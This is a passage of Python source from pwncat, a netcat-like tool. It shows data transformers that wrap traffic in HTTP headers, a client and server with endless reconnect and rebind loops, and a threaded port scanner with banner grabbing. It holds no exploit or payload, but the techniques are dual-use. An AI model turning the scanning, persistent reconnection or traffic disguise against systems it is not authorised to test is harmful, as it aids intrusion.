        self.__active = {
            "af": conn.family,
            "conn": conn,
            "remote_addr": client[0],
            "remote_port": client[1],
        }
        return True

    def close_bind_sock(self):
        # type: () -> None
        """Close the bind socket used by the server to accept clients."""
        for family in self.__conns:
            if "sock" in self.__conns[family]:
                self.__sock.close(self.__conns[family]["sock"], "sock")

    def close_conn_sock(self):
        # type: () -> None
        """Close the communication socket used for send and receive."""
        for family in self.__conns:
            if "conn" in self.__conns[family]:
                self.__sock.close(self.__conns[family]["conn"], "conn")


# #################################################################################################
# #################################################################################################
# ###
# ###   5 / 11   T R A N S F O R M E R
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [5/11 TRANSFORM]: (1/5): Transform
# -------------------------------------------------------------------------------------------------
class Transform(ABC):  # type: ignore
    """Abstract class to for pwncat I/O transformers.

    This is a skeleton that defines how the transformer for pwncat should look like.
    """

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def log(self):
        # type: () -> logging.Logger
        """`TraceLogger`: Logger instance."""
        return self.__log

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    @abstractmethod
    def __init__(self):
        # type: () -> None
        """Set specific options for this transformer."""
        super(Transform, self).__init__()
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    @abstractmethod
    def transform(self, data):
        # type: (bytes) -> bytes
        """Implement a transformer function which transforms a string..

        Args:
            data (bytes): data to be transformed.

        Returns:
            bytes: The transformed string.
        """


# -------------------------------------------------------------------------------------------------
# [5/11 TRANSFORM]: (2/5) TransformLinefeed
# -------------------------------------------------------------------------------------------------
class TransformLinefeed(Transform):
    """Implement basic linefeed replacement."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, opts):
        # type: (DsTransformLinefeed) -> None
        """Set specific options for this transformer.

        Args:
            opts (DsTransformLinefeed): Transformer options.

        """
        super(TransformLinefeed, self).__init__()
        self.__opts = opts

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def transform(self, data):
        # type: (bytes) -> bytes
        """Transform linefeeds to CRLF, LF or CR if requested.

        Returns:
            str: The string with altered linefeeds.
        """
        # 'auto' keep it as it is
        if self.__opts.crlf is None:
            return data

        # ? -> No line feeds
        if self.__opts.crlf == "no":
            if data[-2:] == StringEncoder.encode("\r\n"):
                self.log.debug("Removing CRLF")
                return data[:-2]
            if data[-1:] == StringEncoder.encode("\n"):
                self.log.debug("Removing LF")
                return data[:-1]
            if data[-1:] == StringEncoder.encode("\r"):
                self.log.debug("Removing CR")
                return data[:-1]
        # ? -> CRLF
        if self.__opts.crlf == "crlf" and data[-2:] != StringEncoder.encode("\r\n"):
            if data[-1:] == StringEncoder.encode("\n"):
                self.log.debug("Replacing LF with CRLF")
                return data[:-1] + StringEncoder.encode("\r\n")
            if data[-1:] == StringEncoder.encode("\r"):
                self.log.debug("Replacing CR with CRLF")
                return data[:-1] + StringEncoder.encode("\r\n")
        # ? -> LF
        if self.__opts.crlf == "lf":
            if data[-2:] == StringEncoder.encode("\r\n"):
                self.log.debug("Replacing CRLF with LF")
                return data[:-2] + StringEncoder.encode("\n")
            if data[-1:] == StringEncoder.encode("\r"):
                self.log.debug("Replacing CR with LF")
                return data[:-1] + StringEncoder.encode("\n")
        # ? -> CR
        if self.__opts.crlf == "cr":
            if data[-2:] == StringEncoder.encode("\r\n"):
                self.log.debug("Replacing CRLF with CR")
                return data[:-2] + StringEncoder.encode("\r")
            if data[-1:] == StringEncoder.encode("\n"):
                self.log.debug("Replacing LF with CR")
                return data[:-1] + StringEncoder.encode("\r")

        # Otherwise just return it as it is
        return data


# -------------------------------------------------------------------------------------------------
# [5/11 TRANSFORM]: (3/5) TransformSafeword
# -------------------------------------------------------------------------------------------------
class TransformSafeword(Transform):
    """Implement a trigger to emergency shutdown upon receival of a specific safeword."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, opts):
        # type: (DsTransformSafeword) -> None
        """Set specific options for this transformer.

        Args:
            opts (DsTransformLinefeed): Transformer options.

        """
        super(TransformSafeword, self).__init__()
        self.__opts = opts
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def transform(self, data):
        # type: (bytes) -> bytes
        """Raise a stop signal upon receiving the safeword.

        Returns:
            str: The string as it is without changes
        """
        if StringEncoder.encode(self.__opts.safeword) in data:
            self.log.trace("TERMINATE signal RAISED in TransformSafeword.transform")  # type: ignore
            self.__opts.ssig.raise_terminate()
        return data


# -------------------------------------------------------------------------------------------------
# [5/11 TRANSFORM]: (4/5) TransformHttpPack
# -------------------------------------------------------------------------------------------------
class TransformHttpPack(Transform):
    """Implement a transformation to pack data into HTTP packets."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, opts):
        # type: (Dict[str, str]) -> None
        """Set specific options for this transformer.

        Args:
            opts (DsTransformLinefeed): Transformer options.

        """
        super(TransformHttpPack, self).__init__()
        self.__opts = opts
        self.__log = logging.getLogger(__name__)

        assert "reply" in opts
        assert opts["reply"] in ["request", "response"]

        # Initial default header
        self.__headers = [
            "Accept-Charset: utf-8",
        ]

        self.__response_headers_sent = False

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def transform(self, data):
        # type: (bytes) -> bytes
        """Wrap data into a HTTP packet.

        Returns:
            bytes: The wrapped string.
        """
        request_header = [
            "POST / HTTP/1.1",
            "Host: {}".format(self.__opts["host"]),
            "User-Agent: pwncat",
            "Accept: */*",
            "Conent-Length: {}".format(len(data)),
            "Content-Type: text/plain; charset=UTF-8",
        ]
        response_header = [
            "HTTP/1.1 200 OK",
            "Date: {}".format(self.__get_date()),
            "Server: pwncat",
            "Conent-Length: {}".format(len(data)),
            "Connection: close",
        ]

        self.__response_headers_sent = True

        if self.__opts["reply"] == "request":
            header = StringEncoder.encode(
                "\n".join(request_header) + "\n" + "\n".join(self.__headers) + "\n\n"
            )
        else:
            header = StringEncoder.encode(
                "\n".join(response_header) + "\n" + "\n".join(self.__headers) + "\n\n"
            )
        return header + data

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __get_date(self):  # pylint: disable=no-self-use
        # type: () -> str
        now = datetime.utcnow()
        weekday = ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"][now.weekday()]
        month = [
            "Jan",
            "Feb",
            "Mar",
            "Apr",
            "May",
            "Jun",
            "Jul",
            "Aug",
            "Sep",
            "Oct",
            "Nov",
            "Dec",
        ][now.month - 1]
        return "%s, %02d %s %04d %02d:%02d:%02d GMT" % (
            weekday,
            now.day,
            month,
            now.year,
            now.hour,
            now.minute,
            now.second,
        )


# -------------------------------------------------------------------------------------------------
# [5/11 TRANSFORM]: (5/5) TransformHttpUnpack
# -------------------------------------------------------------------------------------------------
class TransformHttpUnpack(Transform):
    """Implement a transformation to unpack data from HTTP packets."""

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, opts):
        # type: (Dict[str, str]) -> None
        """Set specific options for this transformer.

        Args:
            opts (DsTransformLinefeed): Transformer options.

        """
        super(TransformHttpUnpack, self).__init__()
        self.__opts = opts
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def transform(self, data):
        # type: (bytes) -> bytes
        """Unwrap data from a HTTP packet.

        Returns:
            str: The wrapped string.
        """
        request = StringEncoder.encode(r"^(GET|HEAD|POST|PUT|DELETE|CONNECT|OPTIONS|TRACE|PATCH)")
        response = StringEncoder.encode(r"^HTTP/[.0-9]+")

        # Did not receive a valid HTTP request, so we return the original untransformed message
        if not (re.match(request, data) or re.match(response, data)):
            return data

        body = StringEncoder.encode(r"(\r\n\r\n|\n\n)(.*)")
        match = re.search(body, data)

        # Check if we can separate headers and body
        if match is None or len(match.group()) < 2:
            return data
        return match.group(2)


# #################################################################################################
# #################################################################################################
# ###
# ###   6 / 11   I O   M O D U L E S
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [6/11 IO]: (1/5): IO
# -------------------------------------------------------------------------------------------------
class IO(ABC):  # type: ignore
    """Abstract class to for pwncat I/O modules.

    This is a skeleton that defines how the I/O module for pwncat should look like.

    The "producer" should constantly yield data received from some sort of input
    which could be user input, output from a shell command data from a socket.

    The "callback" will apply some sort of action on the data received from a producer
    which could be output to stdout, send it to the shell or to a socket.

    "The "interrupts" are a list of funtions that trigger the producer to stop
    and return to its parent thread/function. The producer must also be implemented
    in a way that it is able to act on the event which the "interrupt" func emitted.
    """

    # --------------------------------------------------------------------------
    # Properties
    # --------------------------------------------------------------------------
    @property
    def ssig(self):
        # type: () -> InterruptHandler
        """`InterruptHandler`: InterruptHandler instance."""
        return self.__ssig

    @property
    def log(self):
        # type: () -> logging.Logger
        """`TraceLogger`: Logger instance."""
        return self.__log

    # --------------------------------------------------------------------------
    # Constructor
    # --------------------------------------------------------------------------
    @abstractmethod
    def __init__(self, ssig):
        # type: (InterruptHandler) -> None
        """Set specific options for this IO module.

        Args:
            ssig (InterruptHandler): InterruptHandler instance used by the interrupter.
        """
        super(IO, self).__init__()
        self.__ssig = ssig
        self.__log = logging.getLogger(__name__)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    @abstractmethod
    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Implement a generator function which constantly yields data.

        The data could be from various sources such as: received from a socket,
        received from user input, received from shell command output or anything else.

        Yields:
            str: Data generated/produced by this function.
        """

    @abstractmethod
    def consumer(self, data):
        # type: (bytes) -> None
        """Define a consumer callback which will apply an action on the producer output.

        Args:
            data (str): Data retrieved from the producer to work on.
        """

    @abstractmethod
    def interrupt(self):
        # type: () -> None
        """Define an interrupt function which will stop the producer.

        Various producer might call blocking functions and they won't be able to stop themself
        as they hang on that blocking function.
        NOTE: This method is triggered from outside and is supposed to stop/shutdown the producer.
        """


# -------------------------------------------------------------------------------------------------
# [6/11 IONetwork]: (2/5) IONetwork
# -------------------------------------------------------------------------------------------------
class IONetwork(IO):
    """Pwncat implementation based on custom Socket library."""

    @property
    def net(self):
        # type: () -> Net
        """Returns instance of Net."""
        return self.__net

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        ssig,  # type: InterruptHandler
        encoder,  # type: StringEncoder
        host,  # type: str
        ports,  # type: List[int]
        role,  # type: str
        srv_opts,  # type: DsIONetworkSrv
        cli_opts,  # type: DsIONetworkCli
        sock_opts,  # type: DsIONetworkSock
    ):
        # type: (...) -> None
        """Create a Pwncat instance of either a server or a client.

        Args:
            ssig (InterruptHandler): Instance of InterruptHandler.
            encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat).
            host (str): The hostname to resolve.
            ports ([int]): List of ports to connect to or listen on.
            role (str): Either "server" or "client".
            srv_opts (DsIONetworkSrv):   Options for the server.
            cli_opts (DsIONetworkCli):   Options for the client.
            sock_opts (DsIONetworkSock): Options to parse back to Sock.
        """
        assert role in ["server", "client"], "The role must be 'server' or 'client'."
        super(IONetwork, self).__init__(ssig)

        self.__role = role
        self.__net = Net(encoder, ssig, sock_opts)
        self.__sock_opts = sock_opts
        self.__srv_opts = srv_opts
        self.__cli_opts = cli_opts

        # Did we already run cleanup
        self.__cleaned_up = False

        # Internally store addresses for reconn or rebind functions
        self.__host = host
        self.__ports = ports
        self.__pport = 0  # pointer to the current port

        if role == "server":
            if not self.__net.run_server(self.__host, self.__ports[self.__pport]):
                if not self.__server_rebind():
                    sys.exit(1)
        if role == "client":
            if not self.__net.run_client(self.__host, self.__ports[self.__pport]):
                if not self.__client_reconnect_to_server():
                    sys.exit(1)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Network receive generator which hooks into the receive function and adds features.

        Yields:
            str: Data received from a connected socket.
        """
        # Counter for receive retries once this side of the program
        # shuts down (e.g.: Ctrl+c) as there could be data left on the wire.
        curr_recv_timeout_retry = 0

        # Loop endlessly and yield data back to the caller
        while True:
            # [1/3] Generate data
            try:
                yield self.__net.receive()
            # [2/3] Non-blocking socket is finished receiving data and allows us to do some action
            except socket.timeout as err:
                # Check if we close the socket for sending
                if self.ssig.has_sock_send_eof():
                    self.log.trace(  # type: ignore
                        "SOCK-SEND-EOF signal ACK in IONetwork.producer [1]: %s", err
                    )
                    self.__net.send_eof()

                # Let's ask the interrupter() function if we should terminate?
                if not self.ssig.has_sock_quit():
                    continue
                # Stop signal is raied when my own side of the network was closed.
                # Happened most likely that the user pressed Ctrl+c
                # Before quitting, we will check x many times, if there is still
                # data left to receive, before shutting down.
                if curr_recv_timeout_retry < self.__sock_opts.recv_timeout_retry:
                    self.log.trace(  # type: ignore
                        "Final socket read: %d/%d before quitting.",
                        curr_recv_timeout_retry + 1,
                        self.__sock_opts.recv_timeout_retry,
                    )
                    curr_recv_timeout_retry += 1
                    continue
                # We ware all done reading, shut down
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.producer [1]: %s", err
                )
                self.__cleanup()
                return
            # [3/3] Connection was closed remotely (EOF) or locally (Ctrl+C or similar)
            except (EOFError, AttributeError, socket.error) as err:
                # Do we have a stop signal?
                if self.ssig.has_sock_quit():
                    self.log.trace(  # type: ignore
                        "SOCK-QUIT signal ACK in IONetwork.producer [2]: %s", err
                    )
                    self.__cleanup()
                    return
                # Do we re-accept new clients?
                if self.__sock_opts.udp:
                    # Always accept new clients or reconnect in UDP mode (its stateless)
                    continue
                if self.__role == "server" and self.__server_reaccept_from_client():
                    continue
                if self.__role == "client" and self.__client_reconnect_to_server():
                    continue
                # Inform everybody that we are quitting
                self.log.trace("SOCK-EOF signal RAISE in IONetwork.producer")  # type: ignore
                self.ssig.raise_sock_eof()

    def consumer(self, data):
        # type: (bytes) -> None
        """Send data to a socket."""
        try:
            self.__net.send(data)
        except socket.error:
            pass

    def interrupt(self):
        # type: () -> None
        """Stop function that can be called externally to close this instance."""
        self.log.trace("SOCK-QUIT signal RAISE in IONetwork.interrupt")  # type: ignore
        self.ssig.raise_sock_quit()
        self.__cleanup()

    # --------------------------------------------------------------------------
    # Private Functions
    # --------------------------------------------------------------------------
    def __cleanup(self):
        # type: () -> None
        """Cleanup function."""
        if not self.__cleaned_up:
            self.log.trace("SOCK-QUIT-CLEANUP: Closing sockets")  # type: ignore
            self.__net.close_conn_sock()
            self.__net.close_bind_sock()
            self.__cleaned_up = True

    def __client_reconnect_to_server(self):
        # type: () -> bool
        """Ensure the client re-connects to the remote server, if the remote server hang up.

        Returns:
            bool: Returns `True` on success and `False` on failure or stop signal requested.
        """
        assert self.__role == "client", "This should have been caught during arg check."

        # reconn < 0 (endlessly)
        # reconn > 0 (reconnect until counter reaches zero)
        while self.__cli_opts.reconn != 0:
            # [1/6] Let's ask the interrupter() function if we should terminate?
            # We need a little wait here in order for the stop signal to propagate.
            # Don't know how fast the other threads are.
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__clienet_reconnect_to_server [1]"
                )
                return False

            # [2/6] Wait
            time.sleep(self.__cli_opts.reconn_wait)

            # [3/6] Let's ask the interrupter() function if we should terminate?
            # In case the other threads were slower as the sleep time in [1/5]
            # we will check again here.
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__clienet_reconnect_to_server [2]"
                )
                return False

            # [4/6] Increment the port numer (if --reconn-robin has multiple)
            self.__pport += 1
            if self.__pport == len(self.__ports):
                self.__pport = 0

            if self.__cli_opts.reconn > 0:
                self.log.info(
                    "Reconnecting to %s:%d in %.1f sec (%d more times left)",
                    self.__host,
                    self.__ports[self.__pport],
                    self.__cli_opts.reconn_wait,
                    self.__cli_opts.reconn,
                )
            else:
                self.log.info(
                    "Reconnecting to %s:%d in %.1f sec (indefinitely)",
                    self.__host,
                    self.__ports[self.__pport],
                    self.__cli_opts.reconn_wait,
                )

            # [5/6] Decrease reconnect counter
            if self.__cli_opts.reconn > 0:
                self.__cli_opts.reconn -= 1

            # [6/6] Recurse until True or reconnect count is used up
            if self.__net.run_client(self.__host, self.__ports[self.__pport]):
                return True

        # [5/5] Signal failure
        self.log.info("Reconnect count is used up. Shutting down.")
        return False

    def __server_rebind(self):
        # type: () -> bool

        # rebind < 0 (endlessly)
        # rebind > 0 (rebind until counter reaches zero)
        while self.__srv_opts.rebind != 0:

            # [1/7] Let's ask the interrupter() function if we should terminate?
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__server_rebind [1]"
                )
                return False

            # [2/7] Increment the port numer (if --reconn-robin has multiple)
            self.__pport += 1
            if self.__pport == len(self.__ports):
                self.__pport = 0

            # [3/7] Notify user
            if self.__srv_opts.rebind > 0:
                self.log.info(
                    "Rebinding to port %d in %.1f sec (%d more times left)",
                    self.__ports[self.__pport],
                    self.__srv_opts.rebind_wait,
                    self.__srv_opts.rebind,
                )
            else:
                self.log.info(
                    "Rebinding to port %d in %.1f sec (indefinitely)",
                    self.__ports[self.__pport],
                    self.__srv_opts.rebind_wait,
                )

            # [4/7] Decrease reconnect counter
            if self.__srv_opts.rebind > 0:
                self.__srv_opts.rebind -= 1

            # [5/7] Wait (--rebind-wait)
            time.sleep(self.__srv_opts.rebind_wait)

            # [6/7] Let's ask the interrupter() function if we should terminate?
            # In case the other threads were slower as the sleep time in [1/7]
            # we will check again here.
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__server_rebind [2]"
                )
                return False

            # [6/7] Recurse until True or reconnect count is used up
            if self.__net.run_server(self.__host, self.__ports[self.__pport]):
                return True

        # [7/7] Nope
        self.log.info("Rebind count is used up. Shutting down.")
        return False

    def __server_reaccept_from_client(self):
        # type: () -> bool
        """Ensure the server is able to keep connection open by re-accepting new clients.

        Returns:
            bool: True on success and False on failure
        """
        # Do not re-accept for UDP
        assert not self.__sock_opts.udp, "This should have been caught during arg check."
        assert self.__role == "server", "This should have been caught during arg check."

        # [NO] Do not re-accept
        if not self.__srv_opts.keep_open:
            self.log.info("No automatic re-accept specified. Shutting down.")
            return False

        # [MAYBE] Check stop signal and otherwise try until success.
        while True:
            time.sleep(0.01)
            # [NO] We have a stop signal
            if self.ssig.has_sock_quit():
                self.log.trace(  # type: ignore
                    "SOCK-QUIT signal ACK in IONetwork.__server_reaccept_from_client"
                )
                return False
            # [YES] Re-accept indefinitely
            self.log.info("Re-accepting new clients")
            if self.__net.re_accept_client():
                return True


# -------------------------------------------------------------------------------------------------
# [6/11 IONetwork]: (3/5) IONetwork
# -------------------------------------------------------------------------------------------------
class IONetworkScanner(IO):
    """Pwncat Scanner implementation based on custom Socket library."""

    BANNER_PAYLOADS = {
        # 0 is for generic ones, which do not have a custom port definition already
        0: [
            None,  # This means to not send anything, but receive first
            "",
            "\0",
            "\r",
            "\n",
            "\r\n",
            "HEAD /\r\n\r\n",
        ],
    }

    # Common regexes
    BANNER_REG = [
        r"Server:\s*(.*)",  # extract webserver from header
        r"(.*[0-9][-.0-9]*.*)",  # generic version string
    ]

    # Compiled versions of common regexes
    BANNER_REG_COMP = []  # type: List[re.Pattern[str]]

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(
        self,
        ssig,  # type: InterruptHandler
        encoder,  # type: StringEncoder
        host,  # type: str
        banner,  # type: bool
        cli_opts,  # type: DsIONetworkCli
        sock_opts,  # type: DsIONetworkSock
    ):
        # type: (...) -> None
        """Create a Pwncat Network Scanner instance.

        Args:
            ssig (InterruptHandler): Instance of InterruptHandler.
            encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat).
            host (str): The hostname to resolve.
            banner (bool): Determines if we do banner grabbing as well.
            cli_opts (DsIONetworkCli):   Options for the client.
            sock_opts (DsIONetworkSock): Options to parse back to Sock.
        """
        super(IONetworkScanner, self).__init__(ssig)

        self.__ssig = ssig
        self.__enc = encoder
        self.__cli_opts = cli_opts
        self.__sock_opts = sock_opts
        self.__banner = banner

        self.__log = logging.getLogger(__name__)
        self.__sock = Sock()
        self.__screen_lock = threading.Semaphore()

        # Keep track of local binds (addr-port) of the threaded scanner
        # clients as we do not want to treat them as open ports (false posistives)
        self.__local_binds = {}  # type: Dict[str, socket.socket]

        # Compile our regexes if using banner detection
        if banner:
            for reg in self.BANNER_REG:
                self.BANNER_REG_COMP.append(re.compile(reg, re.IGNORECASE))

        # Get numerical IP addresses for IPv4 and/or IPv6
        if self.__sock_opts.ipv6:
            families = [int(socket.AF_INET6)]
        elif self.__sock_opts.ipv4:
            families = [int(socket.AF_INET)]
        else:
            families = [
                int(socket.AF_INET6),
                int(socket.AF_INET),
            ]
        self.__targets = {}
        for family in families:
            try:
                self.__targets[family] = self.__sock.gethostbyname(
                    host, family, not self.__sock_opts.nodns
                )
            except socket.gaierror:
                pass

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def __get_socket(self, family):
        # type: (Union[socket.AddressFamily, int]) -> socket.socket
        """Create socket for specific address family endlessly until resources are available."""
        # The scanner starts one thread for each port to scan. Each thread will also create
        # one socket and we might hit the max_allowed_files limit (ulimit).
        # That's why we loop through creating sockets until we hit a success
        # as in the meantime, other threads might have already released sockets/fd's.
        while True:
            delay = 0.0
            if self.__ssig.has_terminate():
                self.log.trace(  # type: ignore
                    "TERMINATE signal ACK for IONetworkScanner._getsocket"
                )
                raise socket.error("quit")
            try:
                if self.__sock_opts.udp:
                    return self.__sock.create_socket(family, socket.SOCK_DGRAM, False)
                return self.__sock.create_socket(family, socket.SOCK_STREAM, False)
            except socket.error:
                delay += 0.1
                time.sleep(delay)  # This can be bigger to give the system some time to release fd's

    def __get_banner_version(self, banner):
        # type: (str) -> Optional[str]
        """Extract version information from a string."""
        if not banner or banner is None:
            return None

        # If we only have a single line, return it (all we got)
        lines = banner.splitlines()
        if len(lines) == 1:
            return lines[0]

        # Version extraction
        for reg in self.BANNER_REG_COMP:
            match = re.search(reg, banner)
            if match:
                return StringEncoder.rstrip(match.group(1))  # type: ignore

        # Nothing found, return first non-empty line
        for line in lines:
            if line:
                return line

        # Nothing found
        return None

    def __get_banner(self, sock, addr, port):
        # type: (socket.socket, str, int) -> Tuple[bool, Optional[str]]
        """Retrieve the (version) banner from a network service."""
        if port in self.BANNER_PAYLOADS:
            payloads = self.BANNER_PAYLOADS[port] + self.BANNER_PAYLOADS[0]
        else:
            payloads = self.BANNER_PAYLOADS[0]

        for payload in payloads:
            # Break the loop on terminate signal
            if self.__ssig.has_terminate():
                self.log.trace(  # type: ignore
                    "TERMINATE signal ACK for IONetworkScanner._getbanner: %s-%d", addr, port
                )
                return (False, None)
            try:
                if payload is not None:
                    sock.send(self.__enc.encode(payload))
                    self.__log.debug("%s:%d - payload sent: %s", addr, port, repr(payload))

                sock.settimeout(0.5)
                banner = sock.recv(self.__sock_opts.bufsize)
                version = self.__get_banner_version(self.__enc.decode(banner))
                self.__log.debug("%s:%d - respone received: %s", addr, port, repr(banner))
                return (True, version)
            except socket.timeout:
                continue
            except (OSError, socket.error):
                return (False, None)
        return (True, None)

    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Port scanner yielding open/closed string for given port.

        Args:
            args: additional arguments.
            kwargs: additional arguments.

        Yields:
            str: Open/closed state (optionally with banner) from a port.
        """
        port = args[0]

        # Loop over adress families
        for family in self.__targets:

            # [1/7] Check for termination request
            if self.__ssig.has_terminate():
                self.log.trace("TERMINATE signal ACK for IONetworkScanner.producer")  # type: ignore
                return

            addr = self.__targets[family]

            # [2/7] Get socket
            try:
                sock = self.__get_socket(family)
                sock_type = sock.type
            except (AttributeError, socket.error):
                # Exception is triggered due to stop stignal and we
                # will abort here in that case.
                return

            # [3/7] Connect scan
            try:
                laddr, lport = self.__sock.connect(
                    sock,
                    addr,
                    port,
                    None,
                    None,
                    True,
                    self.__enc.encode("\0"),
                    self.__sock_opts.bufsize,
                    0.1,
                )
                # Append local binds (addr-port) to check against during port scan
                key = str(laddr + "-" + str(lport))
                self.__local_binds[key] = sock
            except socket.error:
                self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port))
                continue

            # [4/7] False positives
            # Connect was successful, but against a local bind of one of our
            # port scanners, so this is a false positive.
            if str(addr + "-" + str(port)) in self.__local_binds:
                self.__sock.close(sock, "[-] closed: {}:{}".format(addr, port))
                del self.__local_binds[key]
                continue

            # [5/7] Banner grabbing
            succ_banner = True
            banner = None
            if self.__banner:
                (succ_banner, banner) = self.__get_banner(sock, addr, port)

            # [6/7] Evaluation
            if banner is not None and succ_banner:
                msg = "[+] {:>5}/{} open   ({}): {}".format(
                    port,
                    self.__sock.get_type_name(sock_type),
                    self.__sock.get_family_name(family),
                    banner,
                )
                yield self.__enc.encode(msg)
            if banner is None and succ_banner:
                msg = "[+] {:>5}/{} open   ({})".format(
                    port,
                    self.__sock.get_type_name(sock_type),
                    self.__sock.get_family_name(family),
                )
                yield self.__enc.encode(msg)

            # [7/7] Cleanup
            self.__sock.close(sock, key)
            del self.__local_binds[key]

    def consumer(self, data):
        # type: (bytes) -> None
        """Print received data to stdout."""
        # For issues with flush (when using tail -F or equal) see links below:
        # https://stackoverflow.com/questions/26692284
        # https://docs.python.org/3/library/signal.html#note-on-sigpipe
        with self.__screen_lock:
            print(StringEncoder.decode(data))
            try:
                sys.stdout.flush()
            except IOError:
                # Python flushes standard streams on exit; redirect remaining output
                # to devnull to avoid another broken pipe at shutdown
                devnull = os.open(os.devnull, os.O_WRONLY)
                os.dup2(devnull, sys.stdout.fileno())

    def interrupt(self):
        # type: () -> None
        """Stop function that can be called externally to close this instance."""
        self.log.trace("SOCK-QUIT signal RAISED in IONetworkScanner.interrupt")  # type: ignore
        self.ssig.raise_sock_quit()

        # NOTE: Closing up to 65535 sockets (single thread) takes very very long
        # Se we leave this up to Python itself, once the program exits.
        # self.log.trace("SOCK-QUIT-CLEANUP: Closing sockets")  # type: ignore
        # # Double loop to prevent: Dictionary size changed during iteration
        # remove = {}
        # for key in self.__local_binds:
        #     remove[key] = self.__local_binds[key]
        # for key in remove:
        #     self.__sock.close(remove[key], key)


# -------------------------------------------------------------------------------------------------
# [6/11 IOStdinStdout]: (4/5) IOStdinStdout
# -------------------------------------------------------------------------------------------------
class IOStdinStdout(IO):
    """Implement basic stdin/stdout I/O module.

    This I/O module provides a generator which continuously reads from stdin
    (non-blocking on POSIX and blocking on Windows) as well as a
    callback that writes to stdout.
    """

    # --------------------------------------------------------------------------
    # Constructor / Destructor
    # --------------------------------------------------------------------------
    def __init__(self, ssig, opts):
        # type: (InterruptHandler, DsIOStdinStdout) -> None
        """Set specific options for this I/O module.

        Args:
            ssig (InterruptHandler): InterruptHandler instance.
            opts (DsIOStdinStdout): IO options.
        """
        super(IOStdinStdout, self).__init__(ssig)
        self.__opts = opts
        self.__py3 = sys.version_info >= (3, 0)  # type: bool
        self.__win = os.name != "posix"  # posix or nt
        self.__stdout_isatty = sys.stdout.isatty()
        self.__stdin_isatty = sys.stdin.isatty()

        self.log.debug("STDOUT isatty: %s", self.__stdout_isatty)
        self.log.debug("STDIN  isatty: %s", self.__stdin_isatty)
        self.log.debug("STDIN  posix:  %s (%s)", str(self.__win), os.name)

    # --------------------------------------------------------------------------
    # Public Functions
    # --------------------------------------------------------------------------
    def producer(self, *args, **kwargs):
        # type: (Any, Any) -> Iterator[bytes]
        """Constantly ask for user input.

        Yields:
            str: Data read from stdin.
        """
        # On --send-on-eof we will return all of its contents at once:
        lines = []

        # https://stackoverflow.com/questions/1450393/#38670261
        # while True: line = sys.stdin.readline() <- reads a whole line (faster)
        # for line in sys.stdin.readlin():        <- reads one byte at a time
        while True:
            if self.ssig.has_stdin_quit():
                self.log.trace(  # type: ignore
                    "STDIN-QUIT signal ACK in IOStdinStdout.producer [1]"
                )
                return
            try:
                data = self.__read_stdin()
            except EOFError:
                # When using select() with timeout, we don't have any input
                # at this point and simply continue the loop or quit if
                # a terminate request has been made by other threads.
                if self.ssig.has_stdin_quit():
                    self.log.trace(  # type: ignore
                        "STDIN-QUIT signal ACK in IOStdinStdout.producer [2]"
                    )
                    return
                continue
            if data:
                self.log.debug("Received %d bytes from STDIN", len(data))
                self.log.trace("Received: %s", repr(data))  # type: ignore
                # [send-on-eof] Append data
                if self.__opts.send_on_eof:
                    lines.append(data)
                else:
                    yield data
            # EOF or <Ctrl>+<d>
            else:
                # [send-on-eof] Dump data before quitting
                if lines and self.__opts.send_on_eof:
                    yield StringEncoder.encode("").join(lines)
                self.log.trace("STDIN-EOF signal RAISE in IOStdinStdout.producer")  # type: ignore
                self.ssig.raise_stdin_eof()

    def consumer(self, data):
        # type: (bytes) -> None
        """Print received data to stdout."""
        if self.__py3:
            sys.stdout.buffer.write(data)
        else:
            # For issues with flush (when using tail -F or equal) see links below:
            # https://stackoverflow.com/questions/26692284
            # https://docs.python.org/3/library/signal.html#note-on-sigpipe
            print(data, end="")

        try:
            sys.stdout.flush()
        except IOError:
            # Python flushes standard streams on exit; redirect remaining output
            # to devnull to avoid another broken pipe at shutdown
            devnull = os.open(os.devnull, os.O_WRONLY)
            os.dup2(devnull, sys.stdout.fileno())

    def interrupt(self):
        # type: () -> None
